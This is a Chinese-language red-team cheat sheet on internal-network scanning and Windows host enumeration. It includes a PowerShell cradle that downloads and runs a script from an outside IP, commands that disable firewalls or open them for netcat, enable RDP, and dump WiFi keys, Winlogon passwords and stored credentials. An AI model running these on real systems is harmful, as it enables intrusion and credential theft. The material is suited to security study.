跳转至

Windows域内信息收集

域内扫描

内网主机探测

基于UDP

  • MSF
Text Only
msf > use auxiliary/scanner/discovery/udp_probe
or
msf > use auxiliary/scanner/discovery/udp_sweep
  • unicornscan(Linux)
Bash
root@John:~# unicornscan -mU 192.168.1.100
  • ScanLine(Windows)

基于ARP

  • nmap
Text Only
root@John:~# nmap -sn -PR 192.168.1.1/24
  • MSF
Text Only
msf > use auxiliary/scanner/discovery/arp_sweep
  • netdiscover
Bash
root@John:~# netdiscover -r 192.168.1.0/24 -i wlan0
  • arp-scan(推荐)

  • powershell

PowerShell
c:\tmp>powershell.exe -exec bypass -Command "Import-Module .\arpscan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24"

基于netbios

  • nmap
Bash
root@John:~# nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4
  • MSF
Text Only
msf > use auxiliary/scanner/netbios/nbname
  • nbtscan
Bash
# Linux
nbtscan -r 192.168.1.0/24
# Windows
D:\>nbtscan.exe -m 192.168.1.0/24

基于Snmp

  • nmap
Bash
root@John:~# nmap -sU --script snmp-brute 192.168.1.0/24 -T4
  • MSF
Text Only
msf > use auxiliary/scanner/snmp/snmp_enum

基于ICMP

  • fping

kali自带,批量检测IP是否存活的工具

  • nmap
Bash
root@John:~# nmap ‐sP ‐PI 192.168.1.0/24 ‐T4
  • CMD
Text Only
for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="
  • powershell
PowerShell
powershell.exe ‐exec bypass ‐Command "Import‐Module ./Invoke‐TSPingSweep.ps1; Invoke‐TSPingSweep ‐StartAddress 192.168.1.1 ‐EndAddress 192.168.1.254 ‐ResolveHost ‐ScanPort ‐Port 445,135"

基于SMB

  • MSF
Bash
msf auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version): 

Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads 

msf auxiliary(scanner/smb/smb_version) > set threads 20
threads => 20
msf auxiliary(scanner/smb/smb_version) > exploit 

[+] 192.168.1.4:445 ‐ Host is running Windows 7 Ultimate SP1 (build:7601) (name:XXXXXX) (workgroup:WORKGROUP )
[*] Scanned 39 of 256 hosts (15% complete)
[*] Scanned 61 of 256 hosts (23% complete)
[*] Scanned 81 of 256 hosts (31% complete)
[+] 192.168.1.99:445 ‐ Host is running Windows 7 Ultimate SP1 (build:7601) (name:XXXXXX) (workgroup:WORKGROUP )
[+] 192.168.1.119:445 ‐ Host is running Windows 2003 R2 SP2 (build:3790) (name:XXXXXX)
[*] Scanned 103 of 256 hosts (40% complete)
[*] Scanned 130 of 256 hosts (50% complete)
[*] Scanned 154 of 256 hosts (60% complete)
[*] Scanned 181 of 256 hosts (70% complete)
[*] Scanned 205 of 256 hosts (80% complete)
[*] Scanned 232 of 256 hosts (90% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
  • CME(CrackMapExec)
Bash
root@John:~# cme smb 192.168.1.0/24
SMB 192.168.1.4 445 JOHN‐PC [*] Windows 7 Ultimate 7601 Service Pack 1
x64 (name:JOHN‐PC) (domain:JOHN‐PC) (signing:False) (SMBv1:True)
SMB 192.168.1.99 445 JOHN‐PC [*] Windows 7 Ultimate 7601 Service Pack
x64 (name:JOHN‐PC) (domain:JOHN‐PC) (signing:False) (SMBv1:True)
SMB 192.168.1.119 445 WIN03X64 [*] Windows Server 2003 R2 3790 Service
Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True
  • nmap
Bash
root@John:~# nmap ‐sU ‐sS ‐‐script smb‐enum‐shares.nse ‐p 445 192.168.1.119
  • CMD
Bash
for /l %a in (1,1,254) do start /min /low telnet 192.168.1.%a 445
  • powershell
PowerShell
# 扫描单IP
445 | %{ echo ((new‐object Net.Sockets.TcpClient).Connect("192.168.1.119",$_)) "$_ is open"} 2>$null

# 扫描多IP
1..5 | % { $a = $_; 445 | % {echo ((new‐objectNet.Sockets.TcpClient).Connect("192.168.1.$a",$_)) "$a Port $_ is open"}2>$null}

基于SqlDataSourceEnumerator

SQL Server 2000 和 SQL Server 2005 进行应用程序可以确定在当前网络中的 SQL Server实例存在。SqlDataSourceEnumerator类公开给应用程序开发人员,提供此信息DataTable包含所有可用的服务器的信息。返回此表列出了与列表匹配提供当用户尝试创建新的连接的服务器实例以及Connection Properties对话框中,展开下拉列表,其中包含所有可用的服务器。

Text Only
PowerShell -Command "[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()"

基于MSF

  • db_nmap

MSF内置强大的端口扫描工具Nmap,为了更好的区别,内置命令为:db_nmap,并且会自动存储nmap扫描结果到数据库中,方便快速查询已知存活主机,以及更快捷的进行团队协同作战,使用方法与nmap一致。也是在实战中最常用到的发现内网存活主机方式之一。

Bash
msf exploit(multi/handler) > db_nmap ‐p 445 ‐T4 ‐sT 192.168.1.115‐120
‐‐open
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019‐02‐17 15:17 EST
[*] Nmap: Nmap scan report for 192.168.1.115
[*] Nmap: Host is up (0.0025s latency).
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 445/tcp open microsoft‐ds
[*] Nmap: MAC Address: 00:0C:29:AF:CE:CC (VMware)
[*] Nmap: Nmap scan report for 192.168.1.119
[*] Nmap: Host is up (0.0026s latency).
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 445/tcp open microsoft‐ds
[*] Nmap: MAC Address: 00:0C:29:85:D6:7D (VMware)
[*] Nmap: Nmap done: 6 IP addresses (2 hosts up) scanned in 13.35 seconds

命令hosts查看数据库中已发现的内网存活主机

Text Only
msf exploit(multi/handler) > hosts 

Hosts
===== 

address mac name os_name os_flavor os_sp purpose info comments
‐‐‐‐‐‐‐ ‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐‐
1.34.37.188 firewall
10.0.0.2 00:24:1d:dc:3b:16
10.0.0.3 00:e0:81:bf:b9:7b
10.0.0.4 00:30:6e:ca:10:b8
10.0.0.5 9c:8e:99:c4:63:74 2013XXXXX Windows 2008 SP1 client
...
10.0.0.242 00:13:57:01:d4:71
10.0.0.243 00:13:57:01:d4:73
....
10.162.110.30 firewall
59.125.110.178 firewall
127.0.0.1 Unknown device
172.16.204.8 WIN‐6FEAACQJ691 Windows 2012 server
172.16.204.9 WIN‐6FEAACQJ691 Windows 2012 server
172.16.204.21 IDS Windows 2003 SP2 server
192.168.1.5 JOHN‐PC Windows 7 SP1 client
192.168.1.101 JOHN‐PC Windows 7 Ultimate SP1 client
192.168.1.103 LAPTOP‐9994K8RP Windows 10 client
192.168.1.115 00:0c:29:af:ce:cc VM_2003X86 Windows 2003 SP2 server
192.168.1.116 WIN‐S4H51RDJQ3M Windows 2012 server
192.168.1.119 00:0c:29:85:d6:7d WIN03X64 Windows 2003 SP2 server
192.168.1.254 Unknown device
192.168.50.30 WINDOWS‐G4MMTV8 Windows 7 SP1 client
192.168.100.2 Unknown device
192.168.100.10

同样hosts命令也支持数据库中查询与搜索,方便快速对应目标存活主机。

Bash
msf exploit(multi/handler) > hosts ‐h
Usage: hosts [ options ] [addr1 addr2 ...] 

OPTIONS:
‐a,‐‐add Add the hosts instead of searching
‐d,‐‐delete Delete the hosts instead of searching
‐c <col1,col2> Only show the given columns (see list below)
‐C <col1,col2> Only show the given columns until the next restart (see list below)
‐h,‐‐help Show this help information
‐u,‐‐up Only show hosts which are up
‐o <file> Send output to a file in csv format
‐O <column> Order rows by specified column number
‐R,‐‐rhosts Set RHOSTS from the results of the search
‐S,‐‐search Search string to filter by
‐i,‐‐info Change the info of a host
‐n,‐‐name Change the name of a host
‐m,‐‐comment Change the comment of a host
‐t,‐‐tag Add or specify a tag to a range of hosts

域内主机探测

基于MSF

  • windows/gather/arp_scanner
Text Only
meterpreter > run windows/gather/arp_scanner RHOSTS=192.168.1.110‐120 THREADS=20
  • windows/gather/enum_ad_computers
Text Only
meterpreter > run windows/gather/enum_ad_computers
  • windows/gather/enum_computers
Text Only
meterpreter > run windows/gather/enum_computers 
  • windows/gather/enum_domain
Text Only
meterpreter > run windows/gather/enum_domain
  • windows/gather/enum_domains
Text Only
meterpreter > run windows/gather/enum_domains 
  • windows/gather/enum_ad_user_comments
Text Only
meterpreter > run windows/gather/enum_ad_user_comments

端口探测

通过查询目标主机的端口开放信息,不仅可以了解目标主机所开放的服务,还可以找出其开放服务的涌洞、分析目标网络的拓扑结构等, 在进行内网渗测试时,通常会使用Metasploit内置的端口进行扫描。也可以上传端口扫描工具,使用工具进行扫描。还可以根据服务器的环境,使用自定义的端口扫描脚本进行扫描。在获得授权的情况下,可以直接使用Nmap、masscan等端口扫描工具获取开放的端口信息。

ScanLine

ScanLine是一款windows下的端口扫描的命令行程序。它可以完成PING扫描、TCP端口扫描、UDP端口扫描等功能。运行速度很快,不需要winPcap库支持,应用场合受限较少。

Text Only
 ‐?    ‐ 显示此帮助文本       
‐b  ‐ 获取端口横幅          
‐c  ‐ TCP 和 UDP 尝试超时(毫秒)。 默认值为 4000          
‐d  ‐ 扫描之间的延迟(毫秒)。 默认为 0          
‐f  ‐ 从文件中读取 IP。 使用“stdin”作为标准输入          
‐g  ‐ 绑定到给定的本地端口          
‐h  ‐ 隐藏没有开放端口的系统的结果          
‐i  ‐ 除了 Echo 请求之外,用于 ping 使用 ICMP 时间戳请求           
‐j  ‐ 不要在 IP 之间输出“‐‐‐‐‐...”分隔符          
‐l  ‐ 从文件中读取 TCP 端口          
‐L  ‐ 从文件中读取 UDP 端口          
‐m  ‐ 绑定到给定的本地接口 IP          
‐n  ‐ 不扫描端口 ‐ 仅 ping(除非您使用 ‐p)          
‐o  ‐ 输出文件(覆盖)          
‐O  ‐ 输出文件(追加)          
‐p  ‐ 扫描前不要 ping 主机          
‐q  ‐ ping 超时(毫秒)。 默认值为 2000          
‐r  ‐ 将 IP 地址解析为主机名          
‐s  ‐ 以逗号分隔格式输出 (csv)          
‐t  ‐ 要扫描的 TCP 端口(以逗号分隔的端口/范围列表)          
‐T ‐ 使用 TCP 端口的内部列表           
‐u  ‐ 要扫描的 UDP 端口(以逗号分隔的端口/范围列表)          
‐U ‐ 使用 UDP 端口的内部列表           
‐v  ‐ 详细模式          
‐z  ‐ 随机化 IP 和端口扫描顺序
Text Only
scanline.exe ‐bhpt 21‐23,25,80,110,135‐139,143,443,445,1433,1521,3306,3389,5556,5631,5900,8080  100.100.0.39
scanline.exe ‐bhpt 80,443 100.100.0.1‐254(IP)
scanline.exe ‐bhpt 139,445  IP  

RedTeamTool

RedTeamTool中有一个本地端口扫面的工具

Text Only
portscanx64 10000

PowerSpioit

PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等 下载地址: https://github.com/PowerShellMafia/PowerSploit

Text Only
    ActivirusBypass:发现杀毒软件的查杀特征    
    CodeExecution:在目标主机上执行代码    
    Exfiltration:目标主机上的信息搜集工具    
    Mayhem:蓝屏等破坏性的脚本
    Persistence:后门脚本
    Privsec:提权等脚本
    Recon:以目标主机为跳板进行内网信息侦查
    ScriptModification:在目标主机上创建或修改脚本

本地执行

PowerShell
powershell ‐exec bypass Import‐Module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts  192.168.41.0/24 ‐T 4 ‐ports '445,8080,3389,80' ‐oA c:\1.txt

远程执行

Text Only
python -m http.server 80 开启http服务
PowerShell
powershell ‐exec bypass ‐c IEX (New‐Object 
System.Net.Webclient).DownloadString('http://118.178.134.226:8080/Invoke‐Portscan.ps1');import‐ module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts 192.168.41.0/24 ‐T 4 ‐ports 
'445,8080,3389,80' ‐oA c:\1.txt

Nishang

Nishang是一款针对PowerShell的渗透工具。说到渗透工具,那自然便是老外开发的东西。国人开发的东西,也不是不行,只不过不被认可罢了。不管是谁开发的,既然跟渗透有关系,那自然是对我们有帮助的,学习就好。来源什么的都不重要。总之,nishang也是一款不可多得的好工具。非常的好用。

下载地址:https://github.com/samratashok/nishang

课后阅读:https://dude6.com/article/116047.html

PowerShell
powershell ‐exec bypass Import‐Module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts  192.168.41.0/24 ‐T 4 ‐ports '445,8080,3389,80' ‐oA c:\1.txt
powershell ‐exec bypass ‐c IEX (New‐Object 
System.Net.Webclient).DownloadString('http://118.178.134.226:8080/Invoke‐Portscan.ps1');import‐ module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts 192.168.41.0/24 ‐T 4 ‐ports 
'445,8080,3389,80' ‐oA c:\1.txt
Set‐ExecutionPolicy remotesigned  #允许导入
Import‐Module .\nishang.psm1    #导入模块
Invoke‐PortScan ‐StartAddress 192.168.41.1 ‐EndAddress 192.168.41.21 ‐ResolveHost  #扫描
powershell ‐command "& { import‐module .\nishang\nishang.psm1; Invoke‐PortScan ‐StartAddress  192.168.41.1 ‐EndAddress 192.168.41.255 ‐ResolveHost }"
PowerShell
beacon> powershell‐import   //导入各种powershell脚本,这里可以导入nishang模块  
beacon>powershell  posershell脚本名
或者
beacon> powershell Check‐VM

Kscan

fscan

本机信息收集

内网本机工作组信息收集

不管是在外网中还是在内网中,信息收集都是重要的第一步。对于内网中的一台机器,其所处内网的结构是什么样的、其角色是什么、使用这台机器的人的角色是什么,以及这台机器上安装了什么杀毒软件、这台机器是通过什么方式上网的、这台机器是笔记本电脑还是台式机等问题,都需要通过信息收集来解答。

Environment

Any credential/Juicy info saved in the env variables?

Bash
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell History

Bash
ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
# 过滤包含passw的历史

PowerShell Transcript files

You can learn how to turn this on in https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

Bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Details of PowerShell pipeline executions are recorded, encompassing executed commands, command invocations, and parts of scripts. However, complete execution details and output results might not be captured.

To enable this, follow the instructions in the "Transcript files" section of the documentation, opting for "Module Logging" instead of "Powershell Transcription".

Text Only
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

To view the last 15 events from PowersShell logs you can execute:

Bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

A complete activity and full content record of the script's execution is captured, ensuring that every block of code is documented as it runs. This process preserves a comprehensive audit trail of each activity, valuable for forensics and analyzing malicious behavior. By documenting all activity at the time of execution, detailed insights into the process are provided.

Text Only
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Logging events for the Script Block can be located within the Windows Event Viewer at the path: Application and Services Logs > Microsoft > Windows > PowerShell > Operational. To view the last 20 events you can use:

Bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Internet Settings

Bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Drives

Bash
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Password Policy

Text Only
net accounts

Drivers

Look for possible third party weird/vulnerable drivers

Text Only
driverquery
driverquery.exe /fo table
driverquery /SI

Shares

Bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Check for other known computers hardcoded on the hosts file

Text Only
type C:\Windows\System32\drivers\etc\hosts

Network Interfaces & DNS

Text Only
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

Check for restricted services from the outside

Bash
netstat -ano #Opened ports?

Routing Table

Text Only
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP Table

Text Only
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Rules

1、查看防火墙是否开启

Text Only
netsh firewall show state

2、关闭防火墙

Text Only
Windows server 2003:   
netsh firewall set opmode disable    
Windows server 2003之后:  
netsh firewall set opmode disable或者netsh advfirewall set allprofiles state off(需要system权限)

3、查看防火墙配置

Text Only
netsh firewall show config

4、修改防火墙配置

2003及之前的版本,允许指定的程序进行全部的连接:

Text Only
netsh firewall add allowedprogram c:\nc.exe "allownc" enable 

2003之后的版本,允许指定的程序进行全部的连接:

Text Only
netsh advfirewall firewall add rule name="pass nc"dir=in action=allow program="C:\nc.exe"

允许指定程序退出,命令如下

Text Only
netsh advfirewall firewall add rule name="Allownc" dir=out action=allow program="C:  \nc.exe"

允许3389端口放行,命令如下

Text Only
netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in  localport=3389 action=allow

其他示例:

Text Only
netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=4444           
#允许4444端口进站 
netsh advfirewall firewall add rule name=test dir=in action=allow program=c:\a.exe          
#允许a.exe进站  
netsh advfirewall firewall add rule name=test dir=out action=allow protocol=tcp localport=4444      
#允许4444端口出站  
netsh advfirewall firewall add rule name=test dir=out  action=allow program=c:\a.exe        
#允许a.exe出站

Check this page for Firewall related commands (list rules, create rules, turn off, turn off...)

More commands for network enumeration here

操作系统和软件信息

查询操作系统和版本信息

  • cmd
Text Only
SYSTEMINFO | findstr /B /C:"OS Name" /C:"OS Version" (英文)
systeminfo| findstr /B /C:"OS 名称" /C:"OS 版本"(中文)
# 有可能出现匹配不到的情况,此时请直接用systeminfo
  • powershell
Bash
[System.Environment]::OSVersion.Version #Current OS version

查看系统体系结构

Text Only
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

查看安装的软件及版本

Text Only
wmic product get name,version
# 高版本windows wmic已弃用
powershell "Get-WmiObject -class win32_product | Select-Object -Property name,version"

本机服务信息

Text Only
wmic service list brief
sc query
# powershell
Get-Service

Permissions

You can use sc to get information of a service

Bash
sc qc <service_name>

It is recommended to have the binary accesschk from Sysinternals to check the required privilege level for each service.

Bash
accesschk.exe -ucqv <Service_Name> #Check rights for different groups

It is recommended to check if "Authenticated Users" can modify any service:

Bash
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

进程信息

Text Only
tasklist
wmic process list brief

启动程序信息

Text Only
wmic startup get command,caption

计划任务信息

如果出现无法加载列资源 输入:chcp 437

Text Only
schtasks /query /fo LIST /v

主机开机时间信息

Text Only
net statistics workstation

用户列表信息

Text Only
net users %username% #Me
net users #All local users
wmic useraccount get name,SID

权限信息

Text Only
whoami /all #Check the privileges

列出会话

Text Only
net session

查看补丁列表

  • cmd
Text Only
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
  • powershell
PowerShell
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

开启远程服务

1、在2003机器上

Text Only
wmic path win32_terminalservicesetting where (_CLASS !="") call setallowtsconnections 1

2、在server2008和server 2021

Text Only
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  
#开启
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f  
#关闭

WIFI密码收集

Text Only
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

# or
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

或者:
netsh wlan show profile
//查看连接过的WiFi名
netsh wlan show profile name="连接网络的名字" key="clear"

查询RDP端口

Text Only
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" /V PortNumber
#(关键是要找到PortNumber所在注册表的路径),我这里路径为这个,不同的系统可能不同

查看代理配置信息

Text Only
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Winlogon Credentials

Bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

PowerShell Credentials

PowerShell credentials are often used for scripting and automation tasks as a way to store encrypted credentials conveniently. The credentials are protected using DPAPI, which typically means they can only be decrypted by the same user on the same computer they were created on.

To decrypt a PS credentials from the file containing it you can do:

PowerShell
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

使用 PowerShell 获取凭证 | D栈 - Delft Stack

保存的登陆凭证

Text Only
cmdkey /list

最近打开的文档

Text Only
dir %APPDATA%\Microsoft\Windows\Recent
# 这个路径因系统不同而不同

查询本机用户组

Text Only
net localgroup

  • 管理员组成员列表
Text Only
net localgroup administrators

  • powershell
PowerShell
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Saved RDP Connections

You can find them on HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\ and in HKCU\Software\Microsoft\Terminal Server Client\Servers\

Recently Run Commands

Text Only
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Remote Desktop Credential Manager

Text Only
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module

Sticky Notes

People often use the StickyNotes app on Windows workstations to save passwords and other information, not realizing it is a database file. This file is located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite and is always worth searching for and examining.

RDP凭证

Text Only
dir %userprofile%\AppData\Local\Microsoft\Credentials\* /a
# 此路径根据不同而不同

杀毒软件查询

Text Only
wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list

常见杀软程序

Text Only
avList = { 
    "360tray.exe": "360安全卫士-实时保护", 
    "360safe.exe": "360安全卫士-主程序", 
    "ZhuDongFangYu.exe": "360安全卫士-主动防御", 
    "360sd.exe": "360杀毒", 
    "a2guard.exe": "a-squared杀毒", 
    "ad-watch.exe": "Lavasoft杀毒", 
    "cleaner8.exe": "The Cleaner杀毒", 
    "vba32lder.exe": "vb32杀毒", 
    "MongoosaGUI.exe": "Mongoosa杀毒", 
    "CorantiControlCenter32.exe": "Coranti2012杀毒", 
    "F-PROT.exe": "F-Prot AntiVirus", 
    "CMCTrayIcon.exe": "CMC杀毒", 
    "K7TSecurity.exe": "K7杀毒", 
    "UnThreat.exe": "UnThreat杀毒", 
    "CKSoftShiedAntivirus4.exe": "Shield Antivirus杀毒", 
    "AVWatchService.exe": "VIRUSfighter杀毒", 
    "ArcaTasksService.exe": "ArcaVir杀毒", 
    "iptray.exe": "Immunet杀毒", 
    "PSafeSysTray.exe": "PSafe杀毒", 
    "nspupsvc.exe": "nProtect杀毒", 
    "SpywareTerminatorShield.exe": "SpywareTerminator反间谍软件",      "BKavService.exe": "Bkav杀毒", 
    "MsMpEng.exe": "Microsoft Security Essentials", 
    "SBAMSvc.exe": "VIPRE", 
    "ccSvcHst.exe": "Norton杀毒", 
    "f-secure.exe": "冰岛", 
    "avp.exe": "Kaspersky", 
    "KvMonXP.exe": "江民杀毒", 
    "RavMonD.exe": "瑞星杀毒", 
    "Mcshield.exe": "McAfee", 
    "Tbmon.exe": "McAfee", 
    "Frameworkservice.exe": "McAfee", 
    "egui.exe": "ESET NOD32", 
    "ekrn.exe": "ESET NOD32", 
    "eguiProxy.exe": "ESET NOD32", 
    "kxetray.exe": "金山毒霸", 
    "knsdtray.exe": "可牛杀毒", 
    "TMBMSRV.exe": "趋势杀毒", 
    "avcenter.exe": "Avira(小红伞)", 
    "avguard.exe": "Avira(小红伞)", 
    "avgnt.exe": "Avira(小红伞)", 
    "sched.exe": "Avira(小红伞)", 
    "ashDisp.exe": "Avast网络安全", 
    "rtvscan.exe": "诺顿杀毒", 
    "ccapp.exe": "SymantecNorton", 
    "NPFMntor.exe": "Norton杀毒软件", 
    "ccSetMgr.exe": "赛门铁克", 
    "ccRegVfy.exe": "Norton杀毒软件", 
    "ksafe.exe": "金山卫士", 
    "QQPCRTP.exe": "QQ电脑管家", 
    "avgwdsvc.exe": "AVG杀毒", 
    "QUHLPSVC.exe": "QUICK HEAL杀毒", 
    "mssecess.exe": "微软杀毒", 
    "SavProgress.exe": "Sophos杀毒", 
    "SophosUI.exe": "Sophos杀毒", 
    "SophosFS.exe": "Sophos杀毒", 
    "SophosHealth.exe": "Sophos杀毒", 
    "SophosSafestore64.exe": "Sophos杀毒",      "SophosCleanM.exe": "Sophos杀毒", 
    "fsavgui.exe": "F-Secure杀毒", 
    "vsserv.exe": "比特梵德", 
    "remupd.exe": "熊猫卫士", 
    "FortiTray.exe": "飞塔", 
    "safedog.exe": "安全狗", 
    "parmor.exe": "木马克星", 
    "Iparmor.exe.exe": "木马克星", 
    "beikesan.exe": "贝壳云安全", 
    "KSWebShield.exe": "金山网盾", 
    "TrojanHunter.exe": "木马猎手", 
    "GG.exe": "巨盾网游安全盾", 
    "adam.exe": "绿鹰安全精灵", 
    "AST.exe": "超级巡警", 
    "ananwidget.exe": "墨者安全专家", 
    "AVK.exe": "AntiVirusKit", 
    "avg.exe": "AVG Anti-Virus", 
    "spidernt.exe": "Dr.web", 
    "avgaurd.exe": "Avira Antivir", 
    "vsmon.exe": "Zone Alarm", 
    "cpf.exe": "Comodo", 
    "outpost.exe": "Outpost Firewall",      "rfwmain.exe": "瑞星防火墙", 
    "kpfwtray.exe": "金山网镖", 
    "FYFireWall.exe": "风云防火墙", 
    "MPMon.exe": "微点主动防御", 
    "pfw.exe": "天网防火墙", 
    "BaiduSdSvc.exe": "百度杀毒-服务进程",      "BaiduSdTray.exe": "百度杀毒-托盘进程",      "BaiduSd.exe": "百度杀毒-主程序", 
